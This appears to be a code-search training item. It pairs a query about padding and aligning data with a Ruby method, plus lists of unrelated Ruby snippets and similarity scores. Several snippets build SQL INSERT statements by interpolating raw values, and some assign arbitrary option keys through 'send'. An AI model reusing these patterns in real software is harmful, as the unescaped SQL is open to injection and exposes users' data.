"def format(id, value, options = {})\n id.split(/,\\s/).each do |i|\n col = col_by_id i, true\n col.format = value\n col.format_options = options\n end\n end",
"def initialize(options = {})\n @options = OpenStruct.new(options)\n self.class.instance_eval do\n def_delegators :@options, *options.keys\n end\n end",
"def initialize(options={})\n @id = options[\"id\"]\n @location = options[\"location\"]\n @description = options[\"description\"]\n end",
"def initialize(id = nil)\n @id = id || self.class.shorthand_name\n end",
"def initialize(options = {})\n\n # Example: {\"id\" => 1, \"name\" => \"Lisa\"}\n @id = options[\"id\"]\n @name = options[\"name\"]\n\n end",
"def initialize(table, id, data = {})\n @row_id = id\n @table = table\n @attributes = data\n @attributes.clone.\n keep_if{ |col, _| @table.indices.include? col }.\n each_pair{ |col, val| add_to_index(col, val) }\n end",
"def initialize(options={})\n @id = options[\"id\"].to_i\n @description = options[\"description\"]\n @git_repo = options[\"git_repo\"]\n end",
"def initialize(options)\n opts = Options::Mapper.transform_keys_to_symbols(options)\n @options = Options::Mapper.transform_values_to_strings(opts).freeze\n end",
"def initialize(options)\n # stringify symbol keys\n @options = options.map { |k,v| {k.is_a?(Symbol) ? k.to_s : k => v} }.inject({}, &:update)\n end",
"def initialize(options={})\n options.each {|key, value| self.send(\"#{key}=\", value)}\n end",
"def add(options = {})\n\n columns = options.keys\n values = options.values\n\n columns_for_sql = columns.join(\", \")\n individual_values_for_sql = []\n\n values.each do |value|\n if value.is_a?(String)\n individual_values_for_sql << \"'#{value}'\"\n else\n individual_values_for_sql << value\n end\n end\n\n values_for_sql = individual_values_for_sql.join(\", \")\n\n table = self.to_s.pluralize.underscore\n\n DATABASE.execute(\"INSERT INTO #{table} (#{columns_for_sql}) VALUES (#{values_for_sql});\")\n\n id = DATABASE.last_insert_row_id\n\n options[\"id\"] = id\n\n self.new(options)\n end",
"def initialize(options)\n\t\t\t@options = options\n\t\t\toptions.keys.each do |key|\n\t\t\t\tif respond_to?(key)\n\t\t\t\t\tsend(\"#{key}=\",options[key])\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def initialize(options={})\n @id = options[\"id\"].to_i\n @catigory = options[\"catigory\"]\n end",
"def initialize(options)\n @id = options['id']\n @title = options['title']\n @body = options['body']\n @user_id = options['user_id']\n end",
"def initialize(table, options={}, col_types=nil)\n @table, @options = table.to_sym, options.freeze\n\n if !col_types\n col_types = {}\n Mao.sql(\n 'SELECT column_name, data_type FROM information_schema.columns ' \\\n 'WHERE table_name=$1',\n [@table.to_s]) do |pg_result|\n if pg_result.num_tuples.zero?\n raise ArgumentError, \"invalid or blank table #@table\"\n end\n\n pg_result.each do |tuple|\n col_types[tuple[\"column_name\"].to_sym] = tuple[\"data_type\"]\n end\n end\n end\n\n @col_types = col_types.freeze\n end",
"def add(options={})\n column_names = options.keys\n values = options.values\n \n CONNECTION.execute(\"INSERT INTO #{self.table_name} (#{column_names.join(\", \")}) VALUES (#{values.to_s[1...-1]});\")\n \n id = CONNECTION.last_insert_row_id\n options[\"id\"] = id\n \n self.new(options)\n end",
"def get options\n table = DB.from(@table)\n result = table.first :id => options[:id]\n # return an instance of the model class with the data attributes\n @model_class.new result\n end",
"def initialize(*options)\n if options\n options.flatten! \n options = options.first\n end\n options = {} if options.nil?\n \n for option in options.keys\n raise ArgumentError.new(\"#{option} is not a valid option\") unless VALID_OPTIONS.include?(option)\n end\n \n @name = options[:name] || ''\n @description = options[:description] || @name\n @size = options[:size] || 0\n @fixed_size = options[:fixed_size] || false\n @justification = options[:justification] || LEFT\n\n set_field_from_name\n raise ArgumentError.new(\"size must be a number, but was '#{@size}'\") unless @size.is_a?(Fixnum)\n raise ArgumentError.new(\"fixed_size must be a boolean, but was '#{@fixed_size}'\") unless @fixed_size.is_a?(FalseClass) or @fixed_size.is_a?(TrueClass)\n raise ArgumentError.new(\"justification must LEFT or RIGHT, but was '#{@justification}\") unless @justification == LEFT or @justification == RIGHT\n end",
"def initialize(klass, options={})\n @referent = klass\n @options = options\n @options[:column] ||= \"row_id\"\n @column = options[:column]\n end",
"def initialize(options = {})\n options.each { |key, value| send(\"#{key}=\", value) }\n self\n end",
"def initialize(options = {})\n options.each { |key, value| send(\"#{key}=\", value) }\n self\n end",
"def add(options={})\n # Example: {\"name\" => \"Sumeet\", \"age\" => 500}\n \n column_names = options.keys\n values = options.values\n \n column_names_for_sql = column_names.join(\", \")\n \n individual_values_for_sql = []\n \n values.each do |value|\n if value.is_a?(String)\n individual_values_for_sql << \"'#{value}'\"\n else \n individual_values_for_sql << value\n end \n end\n values_for_sql = individual_values_for_sql.join(\", \")\n CONNECTION.execute(\"INSERT INTO #{table_name} (#{column_names_for_sql}) VALUES (#{values_for_sql});\")\n\n id = CONNECTION.last_insert_row_id\n options[\"id\"] = id\n\n self.new(options)\n \n end",
"def column(data_index = nil, options = nil, html_options = nil, &block)\n @columns << Column.new(data_index, options, html_options, &block)\n end",
"def column(column_name, options={})\n columns_object.merge(column_name.to_sym => options)\n end",
"def add(options)\n\n\n\n column_names = options.keys\n \n values = options.values\n \n column_names_for_sql = column_names.join(\", \")\n \n individual_values_for_sql = []\n \n values.each do |value|\n if value.is_a?(String)\n individual_values_for_sql << \"'#{value}'\"\n else\n individual_values_for_sql << value\n end\n end\n \n values_for_sql = individual_values_for_sql.join(\", \")\n \n table_name = self.to_s.pluralize\n \n \n results = CONNECTION.execute(\"INSERT INTO #{table_name} (#{column_names_for_sql}) VALUES (#{values_for_sql});\")\n \n \n id = CONNECTION.last_insert_row_id\n options[\"id\"] = id\n \n self.new(options)\n \n\n end",
"def initialize(options = {})\n options.each_pair do |key, value|\n self.send(\"#{key}=\", value)\n end\n end",
"def initialize(options)\n @attributes = Array.wrap(options[:attributes])\n raise \":attributes cannot be blank\" if @attributes.empty?\n @options = options.freeze\n end",
"def add(options={})\n column_names = options.keys\n values = options.values\n\n individual_values = []\n\n values.each do |value|\n if value.is_a?(String)\n individual_values << \"'#{value}'\"\n else\n individual_values << value\n end\n end\n\n column_names_for_sql = column_names.join(\", \")\n individual_values_for_sql = individual_values.join(\", \")\n\n CONNECTION.execute(\"INSERT INTO #{get_table_name} (#{column_names_for_sql}) VALUES (#{individual_values_for_sql});\")\n\n options[\"id\"] = CONNECTION.last_insert_row_id\n\n self.new(options)\n end",
"def initialize(options = {})\n @data = options.delete(:data) || {}\n @options = options\n end",
"def initialize(data:{}, options:{map_keys: true})\n @options = options\n self.class.keys.each{ |attribute| self[attribute] = data[attribute] }\n end",
"def initialize(options) # :nodoc:\n @options = options\n end",
"def initialize(options = {})\n \n # Example: {\"id\" => 1, \"cyclist_id\" => \"3\", \"bike_id\" => \"2\", \"ride_name\" => \"Keystone trail\", \"miles\" => \"10.7\", \"period\" => \"date/time\" }\n @id = options[\"id\"]\n @cyclist_id = options[\"cyclist_id\"]\n @bike_id = options[\"bike_id\"]\n @ride_name = options[\"ride_name\"]\n @miles = options[\"miles\"]\n @period = options[\"period\"]\n \n end",
"def initialize options={}\n self.options = options\n end",
"def initialize (options = {})\n options.each do |attribute, value|\n self.send(\"#{attribute}=\", value)\n end\n end",
"def initialize(options = {})\n @options = options\n end",
"def initialize(options = {})\n @options = options\n end",
"def initialize(options = {})\n @options = options\n end",
"def initialize(options)\n @id = options[\"id\"]\n @name = options[\"name\"]\n @quantity = options[\"quantity\"]\n @description = options[\"description\"]\n @serial_num = options[\"serial_num\"]\n @cost = options[\"cost\"]\n @category_id = options[\"category_id\"]\n @location_id = options[\"location_id\"]\n end",
"def initialize(options={})\n options.each{|k,v|send(\"#{k}=\",v)}\n end",
"def initialize(options={})\n options.each{|k,v|send(\"#{k}=\",v)}\n end",
"def initialize(options={})\n options.each{|k,v|send(\"#{k}=\",v)}\n end",
"def initialize(header, options = {})\n @header_cols = split_by_comma_regex(header || \"\")\n @insert_cols = (options[:insert] || \"\").split(/,|;/)\n @positions = options[:pos] || []\n @sort = options[:sort]\n end",
"def initialize(id)\n @id = id\n end",
"def initialize(id)\n @id = id\n end",
"def initialize(id)\n @id = id\n end",
"def initialize(options)\n @options = options\n end",
"def initialize(options)\n @options = options\n end",
"def initialize(options)\n @options = options\n end",
"def initialize width, options = nil\n @width = width\n @value, options = options, {} unless Hash === options\n @value = options.fetch :value, value\n @alignment = options.fetch :alignment, :left\n @text_color = options.fetch :text_color, nil#:white\n @text_style = options.fetch :text_style, nil#:plain\n @background_color = options.fetch :background_color, nil#:black\n @colspan = options.fetch :colspan, 1\n end",
"def initialize(options = {})\n options.each { |k, v| self.send :\"#{k}=\", v }\n end",
"def initialize(options = {})\n options.each { |k, v| self.send :\"#{k}=\", v }\n end",
"def build_column(column_id: nil, validate_data: false, format_pattern: 'NONE', name:, type:, table:)\n column_id ||= table.columns.size\n raise ArgumentError.new('Column ID must be Integer') unless column_id.is_a?(Integer)\n raise ArgumentError.new(\"Column type must be #{ AVAILABLE_COLUMN_TYPES }\") unless AVAILABLE_COLUMN_TYPES.include?(type)\n new_column = Column.new()\n new_column.name = name\n new_column.type = type\n new_column.kind = 'fusiontables#column'\n new_column.validate_data = validate_data\n new_column.format_pattern = format_pattern\n new_column\n end",
"def initialize(options = 0)\n @options = options\n end",
"def col_by_id(id, raise_on_nil = false)\n c = @columns_hash[id.to_s]\n raise \"Column ID `#{id}` was requested, however it was not defined by method 'columns'\" if raise_on_nil and c.nil?\n return c\n end",
"def column(name, type, options = {})\n def_accessors(name)\n set_attribute_default(name, options[:default])\n end",
"def initialize(options={})\n @attributes = options\n end",
"def initialize(options = {})\n @options = options\n end",
"def initialize(options)\n @name = options[\"name\"]\n @id = options[\"id\"]\n @table = \"dinnerclubs\"\n end",
"def initialize(id, name, allegiance, options = {})\n @id = id\n @name = name\n @allegiance = allegiance\n @style = \"\"\n @note = \"\"\n @wiki = \"\"\n @km = \"\"\n @faction = allegiance[0] # default value\n @faction_for_chapter = {}\n\n # optional attributes\n if (options[:style])\n @style = options[:style]\n end\n\n if (options[:note])\n @note = options[:note]\n end\n\n if (options[:wiki])\n @wiki = options[:wiki]\n end\n\n if (options[:km])\n @km = options[:km]\n end\n end",
"def initialize(options={})\n @id = options[\"id\"]\n @choice = options[\"choice\"]\n @question_id = options[\"question_id\"]\n end",
"def initialize(options = {})\n reset_options\n options.each_pair do |key, value|\n send(\"#{key}=\", value) if VALID_OPTIONS_KEYS.include?(key)\n end\n end",
"def initialize(id, label=nil)\n @id = id\n @label = label\n @atoms = Hash.new\n end",
"def initialize(options = {})\n @infile = options[:infile]\n @outfile = options[:outfile]\n @source = options[:source]\n @row_filter = RowFilter.new(options[:rows], df: options[:df])\n @positions = create_joiners(options[:joins], \n options[:cols], \n options[:pos])\n @headerless = options[:headerless].nil? ? false : options[:headerless]\n @header = Header.new(options[:header] || '*', \n pos: @positions, \n insert: options[:insert_header])\n create_lookup_table\n end",
"def initialize(model_class, id)\n @attributes = { model_class.primary_key.to_sym => id }\n @columns = model_class.column_names\n @columns.each do |column|\n case column\n when 'created_at', 'updated_at'\n @attributes[column.to_sym] = Time.now\n when 'created_on', 'updated_on'\n @attributes[column.to_sym] = Date.today\n when model_class.inheritance_column\n @attributes[column.to_sym] = model_class.to_s\n end\n end\n end",
"def initialize(options={})\n defaults.merge(options).each { |k,v| send(\"#{k}=\", v) }\n end",
"def initialize(options = {})\n @options = options || {}\n end",
"def initialize(options = {})\n @options = options || {}\n end",
"def initialize(options = {})\n @options = options || {}\n end",
"def initialize(options = {})\n # Example: {\"id\" => 1, \"user_name\" => \"JohnBikes\", \"password\" => \"encrypted_string\", \"first_name\" => \"Johnny\", \"last_name\" => \"Doe\"}\n @id = options[\"id\"]\n @user_name = options[\"user_name\"]\n @password = options[\"password\"]\n @first_name = options[\"first_name\"]\n @last_name = options[\"last_name\"]\n end",
"def initialize(options = {})\n \n # Example: {\"id\" => 1, \"first_name\" => \"Johnny\", \"last_name\" => \"Doe\", \"nickname\" => \"JohnBikes\"}\n @id = options[\"id\"]\n @first_name = options[\"first_name\"]\n @last_name = options[\"last_name\"]\n @nickname = options[\"nickname\"]\n \n end",
"def initialize id, data\n @id = id\n @data = data\n end",
"def initialize(collection, options = {}, &block)\n puts \"INITIALIZING TABLE with options = #{options.inspect}\"\n @column_names = []\n @columns = {}\n @collection = collection \n @options = options\n yield(self) if block_given?\n end"
] |
[
"0.688868",
"0.65057254",
"0.63720155",
"0.6269675",
"0.6225198",
"0.60997665",
"0.5945962",
"0.57345974",
"0.5703262",
"0.5688603",
"0.5688603",
"0.5675031",
"0.56600744",
"0.5642941",
"0.5642941",
"0.55620086",
"0.55620086",
"0.5556941",
"0.5535653",
"0.5533228",
"0.5533086",
"0.54837483",
"0.5468444",
"0.545251",
"0.54083526",
"0.53951776",
"0.53937596",
"0.5377452",
"0.534303",
"0.53336245",
"0.5309781",
"0.5303345",
"0.5272822",
"0.5263076",
"0.5259052",
"0.5249724",
"0.5242196",
"0.5218284",
"0.5193847",
"0.51451975",
"0.5143987",
"0.5138008",
"0.5130349",
"0.5128386",
"0.5125168",
"0.512181",
"0.5120365",
"0.5110266",
"0.5110266",
"0.51044655",
"0.51037633",
"0.50977266",
"0.5093453",
"0.50895476",
"0.5082561",
"0.5070808",
"0.50672203",
"0.50645936",
"0.50530577",
"0.5052813",
"0.5049298",
"0.5036993",
"0.5023045",
"0.5023045",
"0.5023045",
"0.501988",
"0.50150824",
"0.50150824",
"0.50150824",
"0.501407",
"0.5013281",
"0.5013281",
"0.5013281",
"0.5011374",
"0.5011374",
"0.5011374",
"0.50041604",
"0.50021815",
"0.50021815",
"0.49979103",
"0.4994828",
"0.4994754",
"0.49891752",
"0.49837136",
"0.49793667",
"0.49783802",
"0.49730706",
"0.49647477",
"0.4964245",
"0.49613664",
"0.49583015",
"0.4956966",
"0.49542776",
"0.49494356",
"0.49494356",
"0.49494356",
"0.49402562",
"0.4935782",
"0.49323463",
"0.49318463"
] |
0.7794734
|
0
|
Returns a string representation of specified data with the appropriate alignment and padding for the receiver. +data+:: The data to pad and align.
|
def padded_aligned_data(data)
string_repr = @data_to_s.call(data)
string_repr = case @alignment
when :left
string_repr.ljust(@width)
when :center
string_repr.center(@width)
when :right
string_repr.rjust(@width)
else
string_repr
end
@padding ? @padding + string_repr + @padding : string_repr
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def print_data(data, padding)\n p = \"\"\n (0..padding.length - data.to_s.length).map {p += \" \"}\n print data.to_s + p\n end",
"def to_s\n pad_field :data\n recalc_block_len\n super\n end",
"def fmt(data)\n pkt = \"<190>1 \"\n pkt += \"#{data[:t].strftime(\"%Y-%m-%dT%H:%M:%S+00:00\")} \"\n pkt += \"#{@hostname} \"\n pkt += \"#{data[:token]} \"\n pkt += \"#{@procid} \"\n pkt += \"#{@msgid} \"\n pkt += \"#{@structured_data} \"\n pkt += data[:msg]\n \"#{pkt.size} #{pkt}\"\n end",
"def to_s\n string = '<Data: '\n\n case @data\n when String\n string += '\"' + (@data.length > 16 ? @data.slice(0, 16) + '...' : @data) + '\"'\n when Array\n slice = @data.length > 8 ? @data.slice(0, 8) : @data\n string += slice.collect{|e| '$' + e.to_s(16)}.join(',')\n string += '...' if slice.length != @data.length\n end\n\n if @mode != :default\n string += \" (#{mode})\"\n end\n\n string += '>'\n end",
"def table_data(data)\n left, middle, right = [@chars[:ldb], @chars[:idb], @chars[:rdb]]\n a = []\n data.each_with_index do |item, x|\n a << (' ' + item.to_s.send(@align[x] || :ljust, @widths[x]) + ' ')\n end\n s = @chars.wrap(left) + a.join(@chars.wrap(middle)) + @chars.wrap(right) + \"\\n\"\n s\n end",
"def to_s\n str = super\n case (str.size + 2) % 8\n when 0\n return str\n when 7\n # only on byte needed: use pad1 option\n self << Pad1.new\n str << [0].pack('C')\n else\n # use padn option\n len = 8 - 2 - (str.size % 8) - 2\n padn = Option.new(type: 'padn', value: \"\\x00\" * len)\n self << padn\n str << padn.to_s\n end\n str\n end",
"def to_s\n pad_field :data, :options\n recalc_block_len\n to_a.map(&:to_s).join\n end",
"def to_s\n net_id_str = Common.fixnum_to_rawstr(@net_id, NET_ID_SIZE)\n checksum_str = Common.fixnum_to_rawstr(@checksum, CHECKSUM_SIZE)\n data_len_str = Common.fixnum_to_rawstr(@data_size, DATA_LEN_SIZE)\n @start_str + net_id_str + checksum_str + data_len_str + @data\n end",
"def ie_padding(data)\r\n\t\tret = 0\r\n\t\tidx = 0\r\n\t\tlen = 0\r\n\r\n\t\twhile(idx < data.length)\r\n\t\t\tlen = data[idx+1]\r\n\t\t\tif (! len)\r\n\t\t\t\tdata << \"\\x00\"\r\n\t\t\t\tlen = 0\r\n\t\t\tend\r\n\r\n\t\t\tidx += len + 2\r\n\t\tend\r\n\r\n\t\tdata << yield(idx - data.length)\r\n\tend",
"def to_data(prog, offset, data)\n if data.is_a?(Hash)\n res = \"\\x0\"*@struct_size\n @members.each do |n, m|\n if data.key?(n.to_sym)\n items = Array(data[n.to_sym])\n item_offset = m.offset\n m.count.times do |index|\n s = member_item_to_data(prog, m, offset + item_offset, items[index])\n res[item_offset, size=s.bytesize] = s\n item_offset += size\n end\n end\n end\n elsif data.respond_to? :to_z80bin\n res = data.to_z80bin[0,@struct_size].ljust(@struct_size, \"\\x0\")\n elsif data.is_a?(String)\n res = data.dup.force_encoding(Encoding::ASCII_8BIT)[0,@struct_size].ljust(@struct_size, \"\\x0\")\n else\n data = Array(data)\n res = ''\n index = 0\n @members.reject {|_, m| m.alias}.each do |_, m|\n m.count.times do\n s = member_item_to_data(prog, m, offset, data[index])\n offset += s.bytesize\n index += 1\n res << s\n end\n end\n end\n res\n end",
"def to_s; \"<Align: $#{@addr.to_s(16)}\"; end",
"def to_s\n pad_field :data, :options\n recalc_block_len\n super\n end",
"def put_aligned_data(arg)\n # arg.size must be aligned\n @data += [arg].pack(\"a#{arg.size}\")\n self\n end",
"def addpadding(data, blocksize = 32)\n len = data.length\n pad = blocksize - ( len % blocksize)\n data += pad.chr * pad\n return data\n end",
"def byte32(data, size=32)\n return data.to_s.rjust(size*2, '0') # Add zeros to the left\n end",
"def hexdump( data )\n\t\t\tdata.bytes.to_a.map {|byte| sprintf('%#02x',byte) }.join( ' ' )\n\t\tend",
"def to_text(data)\n data.each{|r| r.each{|c| c[:content].gsub!(/\\r\\n/, ' ') } }\n\n widths = data.collect{|r| r.collect{|c| c[:content].to_s.size } }.transpose.collect{|x| x.max }\n line = '+' + widths.collect{|w| '-'*(w+2)}.join('+') + '+'\n\n rows = data.collect do |r|\n d = []\n \n r.each_with_index do |c, i|\n w = widths[i]\n case c[:align]\n when :right\n d << c[:content].rjust(w, ' ')\n else\n d << c[:content].ljust(w, ' ')\n end\n end\n \n d.join(' | ')\n end.collect{|r| \"| #{r} |\"}\n\n \n rows << line\n rows.insert(1, line)\n rows.insert(0, line)\n\n rows.join(\"\\n\")\n end",
"def length_prefixed_string(data)\n msg = data.encode(Encoding::UTF_8)\n # https://ruby-doc.org/core-1.9.3/Array.html#method-i-pack\n [msg.bytes.length].pack('V') + msg.force_encoding(Encoding::BINARY)\n end",
"def padding\n \"\\0\" * padding_size\n end",
"def packetize_data data\n data = data.chars if data.is_a? String\n data.unshift(0x40.chr).push(0x41.chr)\n end",
"def serialize(data)\n bytes = serialize_implementation(data)\n raise \"Invalid byte count: #{bytes}. Expected length of #{length}\" if bytes.length != length\n bytes\n end",
"def format data\n data\n end",
"def pad(message)\n ml = message.size * 8\n\n message += 0x80.chr\n message += \"\\0\" * ((448 / 8 - message.size) & ((512 - 1) / 8))\n message += [ml].pack('Q<')\nend",
"def write_data(data)\n \n # need to zero the checksum field in case:\n # its not zero, which would affect the checksum, 0 ^ X = X so zero doesn't affect checksum\n # the checksum has already been set, which would result in zero checksum, X ^ X = 0\n BinaryAccessor.write(0, \n @checksum_byte_offset*8, \n 8, \n :UINT,\n data, \n @endianness, \n :ERROR)\n\n # write the value into the packet\n BinaryAccessor.write(calcChecksum(data), \n @checksum_byte_offset*8, \n 8, \n :UINT,\n data, \n @endianness, \n :ERROR)\n \n return data\n end",
"def pad(message)\n ml = message.size * 8\n\n message += 0x80.chr\n message += \"\\0\" * ((448 / 8 - message.size) & ((512 - 1) / 8))\n message += [ml].pack('Q>')\nend",
"def rjust(p0, padstr=\"\") end",
"def pad(string, length, align=:left)\n\t\t\tif string == nil\n\t\t\t\treturn ' ' * length\n\t\t\telsif string.length >= length\n\t\t\t\treturn string\n\t\t\telse\n\t\t\t\tdifference = (length - string.length).to_f\n\t\t\t\tcase align\n\t\t\t\twhen :left\n\t\t\t\t\treturn string + ' ' * difference\n\t\t\t\twhen :right\n\t\t\t\t\treturn ' ' * difference + string\n\t\t\t\twhen :center\n\t\t\t\t\treturn ' '*(difference/2).floor + string + ' '*(difference/2).ceil\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def build_raw_data(data)\r\n data.kind_of?(String) ? data : data.inspect\r\n end",
"def pack(data)\n if @pubkey && !@pubkey.empty?\n block_size = @pubkey.n.num_bytes - 11\n\n edata = ''\n index = 0\n\n loop do\n break if index >= data.length\n\n edata << @pubkey.public_encrypt(data[index, block_size])\n\n index += block_size\n end\n\n data = edata\n end\n\n zdata = Zlib::Deflate.deflate(data, Zlib::BEST_COMPRESSION)\n Base64.strict_encode64(zdata)\n end",
"def data_string\n Data.serialize(data)\n end",
"def to_s\n result = \"\"\n\n separator = []\n result += @header.map do |key|\n separator << sprintf(\"%-#{@max_length[key.to_sym]}s\", @@header_line*(@max_length[key.to_sym]+2))\n sprintf \" %-#{@max_length[key.to_sym]}s \", key\n end.join(@@separator)\n result += \"\\n\"\n result += separator.join(@@header_separator) + \"\\n\"\n\n @data.each do |row|\n result += @header.map do |key|\n additional_width = 0\n value = format_value(row, key)\n if value.is_a? String\n additional_width = value.length - value.uncolorize.length\n end\n sprintf \" %-#{@max_length[key.to_sym] + additional_width}s \", value\n end.join(@@separator)\n result += \"\\n\"\n end\n result\n end",
"def to_s\r\n string = IOP.allocate_string(@size)\r\n @data.each {|x| string << x}\r\n string\r\n end",
"def ljust(p0, padstr=\"\") end",
"def card_data_string(card)\n labeldata = if card.release\n label_text = \"%-30s\" % \"#{card.state}-#{card.product}-#{card.release}\"\n else\n \" \" * 30\n end\n \"#{labeldata} %-4d pos: %-20s name: [%-30s]\" % [card.card.short_id, \"#{card.new_pos}\", card.card.name[0..29]]\nend",
"def sign(data, padding: nil, rng: Botan::RNG.new)\n sign = Botan::PK::Sign.new(key: self, padding: padding)\n sign << data\n sign.finish(rng)\n end",
"def build_string(data,\n joiner = \"\\n\",\n prefix = nil,\n suffix = nil,\n &_block)\n slices = []\n slices << prefix if prefix\n index = 0; count = data.size\n data.each_pair do |key, value|\n slices << yield(\n key,\n value,\n index: index,\n first: (index == 0),\n last: (index == count - 1)\n ).to_s\n index += 1\n end\n slices << suffix if suffix\n slices.compact.join(joiner).strip\n end",
"def content (data)\n string = ''\n data.each_index do |i|\n row = data[i]\n row.each_index do |j|\n column = row[j]\n column ||= {:value => nil, :color => nil}\n width = max_width data, j\n alignment = (@align[j] or @default_align)\n value = Aligner.align alignment, column[:value].to_s, width\n value = Yummi.colorize value, column[:color] unless @no_colors\n string << value\n string << (' ' * @colspan)\n end\n string.strip! << $/\n end\n string\n end",
"def to_s\n return @data.to_s\n end",
"def pad(fill_value = -1, data = @raw.clone)\n data = _pad data, 0, fill_value, 0\n _pad data, -1, fill_value, 6\n end",
"def to_s\n data.to_s\n end",
"def to_s\n [0xFF, 0xFF, 0xFF, 0xFF, @header_data, @content_data.string].pack('c5a*')\n end",
"def to_s(); self.unpad[0] end",
"def pack_raw(str)\n str + padding(str.length)\n end",
"def toString()\n @header[LENGTH - 1] = checksum()\n return @header + @message\n end",
"def to_s\n require 'stringio'\n\n sb = StringIO.new\n each { |block3|\n sb << block3.map { |block4|\n format(\"%0#{1 << BLOCK4}b\", (block4 || 0)).reverse }.join\n }\n\n # At max there will be just 1 block of extra bits\n # So we are cutting at exactly @size\n sb.string[0...@size]\n end",
"def store_field(data)\n @io.write [data.size].pack(\"V\") \n offset = @io.pos\n @io.write data\n @io.write \"\\0\"\n offset \n end",
"def to_s\n [0, 32, @device_token, @payload.length, @payload ].pack(\"CnH*na*\")\n end",
"def inspect\n \"#{to_s.chomp(\">\")} @data=#{data.inspect}>\"\n end",
"def to_s\n @data.map(&:to_s).join(\"\\n\")\n end",
"def send( data )\n # Final text data header:\n header = 0b10000001\n\n # Payload size to use (data will always be unmasked):\n size = \"#{data}\".size\n\n # Standard payload:\n if size < 126 then\n @connection.write [ header, size, \"#{data}\" ].pack \"C2A#{size}\"\n\n # 16-bit extended payload:\n elsif size <= 65535 then\n bytes = [ size ].pack( \"S\" ).unpack( \"C2\" ).reverse.map( &:to_i )\n @connection.write [ header, 126, *bytes, \"#{data}\" ]\n .pack \"C4A#{size}\"\n\n # 64-bit extended payload:\n else\n bytes = [ size ].pack( \"S\" ).unpack( \"C8\" ).reverse.map( &:to_i )\n @connection.write [ header, 127, *bytes, \"#{data}\" ]\n .pack \"C10A#{size}\"\n end\n end",
"def dump_bytes(label:, data:, per_line: 16, format: '$%02X')\n print \"#{label}:\"\n puts data.each_slice(per_line).map { |line|\n \"\\t.byte \" +\n line.map {|byte| format % byte }.join(',')\n }.join \"\\n\"\n print \"\\n\"\n end",
"def _encrypt(data, prefix)\n padding = @padding\n random_data = SecureRandom.random_bytes(32)\n cipher = OpenSSL::Cipher.new(\"aes-256-gcm\")\n cipher.encrypt\n cipher.key = OpenSSL::HMAC.digest(OpenSSL::Digest::SHA256.new, @key, random_data)\n cipher_iv = cipher.random_iv\n cipher.auth_data = @auth_data\n\n cipher_text = String.new\n data_size = data.bytesize\n\n padding_size = if padding\n (padding * rand(1)) + padding - (data.bytesize % padding)\n else\n 0\n end\n\n cipher_text << cipher.update(padding_size.chr)\n cipher_text << cipher.update(SecureRandom.random_bytes(padding_size)) if padding_size > 0\n cipher_text << cipher.update(data) if data_size > 0\n cipher_text << cipher.final\n\n Base64.urlsafe_encode64(\"#{prefix}#{random_data}#{cipher_iv}#{cipher.auth_tag}#{cipher_text}\")\n end",
"def write(data)\n generic_write(data, 2) { |data| Krypt::Hex.decode(data) }\n end",
"def to_s\n data = [@name.concat(Array.new(32 - @name.size, 0)),\n @name_size,\n @type,\n @color,\n @left,\n @right,\n @child,\n @created,\n @modified,\n @sector,\n @size].flatten\n data.pack(PACKING)\n end",
"def write_data(data)\n \n # read the APID from the packet\n apid = BinaryAccessor.read(@apid_bit_offset, \n @apid_bit_size, \n :UINT, \n data, \n @endianness) \n \n # if the key does not yet exist in the hash (ie, this is the first time \n # this packet has been sent), add an entry to the hash\n if(!@sent_seqcnts.key?(apid))\n @sent_seqcnts[apid] = 0\n \n # otherwise, increment the key that already exists\n else\n @sent_seqcnts[apid] += 1;\n end\n \n # use the value from the hash\n seqcnt = @sent_seqcnts[apid]\n \n # make sure the value will fit in the bits allocated for it\n # wraps value if too large\n seqcnt = @sent_seqcnts[apid] % ( 2 ** @seqcnt_bit_size -1) \n \n # write the APID into the packet\n BinaryAccessor.write(seqcnt, \n @seqcnt_bit_offset, \n @seqcnt_bit_size, \n :UINT,\n data, \n @endianness, \n :ERROR)\n\n return data\n end",
"def _to_s\n sprintf(\"%-8s %-20s %-8s %-9s\\n%-11s %-22s %-8s %-9s\",\n \"Status\",\"Realm\",\"Type\",\"Population\",\n status,name,type,pop)\n end",
"def align \n return @raw.align \n end",
"def to_s\n msg_str = \"Command Packet Hex Str: #{@cmd_str.to_s}\\n\"\n msg_str << \"net_id: #{@net_id}\\n\"\n msg_str << \"pkt_no: #{@pkt_no}\\n\"\n msg_str << \"cmd_id: #{@cmd_id.to_s(16)}\\n\"\n msg_str << \"res_req: #{@res_req}\\n\"\n msg_str << \"ack_req: #{@ack_req}\\n\"\n msg_str << \"ack_bit: #{@ack_bit}\\n\"\n msg_str << \"err_bit: #{@err_bit}\\n\"\n if @data != nil\n data_str = \"\"\n if @data == CmdManager::DONT_CARE\n data_str = CmdManager::DONT_CARE\n else \n @data.each{|x| \n if x == CmdManager::DONT_CARE\n data_str << CmdManager::DONT_CARE\n else\n data_str << \"#{x.to_s(16)} \"\n end\n }\n end\n \n msg_str << \"data: [#{data_str.chop}]\\n\"\n end\n if @error_no != 0\n msg_str << \"error_desc: #{@error_desc}\\n\"\n end\n \n msg_str\n end",
"def pack_format\n \"a#{width}\"\n end",
"def padded(num) \n\t\tif num.to_s.length <2\n\t\t\treturn '0'+num.to_s\n\t\telse\n\t\t\treturn num.to_s\n\t\tend\n\tend",
"def set_data(data)\n data = data.pack('c*') if data.class == Array\n raise \"No increment has been set. It is necessary to encrypt the data\" if @increment.nil?\n \n # Set the length\n self.length = data.length+2\n \n # Save the decrypted message\n @decrypted_data = @data\n \n # Set the message\n @data = TkCrypt::encrypt(data, self.increment)\n end",
